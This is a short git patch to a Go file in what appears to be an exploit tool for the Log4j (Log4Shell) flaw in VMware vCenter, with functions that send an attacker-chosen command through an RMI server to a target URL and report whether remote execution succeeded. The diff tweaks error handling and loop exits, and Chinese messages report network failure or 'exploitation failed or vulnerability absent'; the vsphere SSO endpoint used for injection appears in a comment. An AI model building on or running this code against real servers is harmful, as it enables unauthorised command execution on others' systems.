From de3ef029e113a853faf83063c05150dc1d51b365 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 11 Oct 2022 19:20:13 +0800 Subject: [PATCH] bug fix --- src/log4jcenter/log4j.go | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/src/log4jcenter/log4j.go b/src/log4jcenter/log4j.go index 2c3c15a..df8d17b 100644 --- a/src/log4jcenter/log4j.go +++ b/src/log4jcenter/log4j.go @@ -3,7 +3,6 @@ package log4jcenter import ( "crypto/tls" "fmt" - "io" "net" "os" "strings" @@ -176,13 +175,17 @@ func exec_cmd(url, rmiserver, command, version string) (bool, string) { // resp, err := client.R(). // SetHeaders(myheader). // Get(url + "/websso/SAML2/SSO/vsphere.local?SAMLRequest=") - if err != nil && err == io.ErrUnexpectedEOF { - // - } else if strings.Contains(err.Error(), "NO_ERROR") { + // if err != nil && err == io.ErrUnexpectedEOF { + // // + // } else if strings.Contains(err.Error(), "NO_ERROR") { + // // + // } else { + // log.Fatal(err) + // // fmt.Println("[-] 连接失败,请检查网络.") + // // os.Exit(0) + // } + if err != nil { // - } else { - fmt.Println("[-] 连接失败,请检查网络.") - os.Exit(0) } if resp.StatusCode() == 200 { result := resp.String() @@ -204,14 +207,15 @@ func Execc(url, rmiserver, command string) { temp1, temp2 := exec_cmd(url, rmiserver, command, "7") if temp1 { fmt.Println(temp2) - break + return } temp3, temp4 := exec_cmd(url, rmiserver, command, "6") if temp3 { fmt.Println(temp4) - break + return } } + fmt.Println("[-] 利用失败或不存在漏洞.") } func getIpAddr2(url string) string {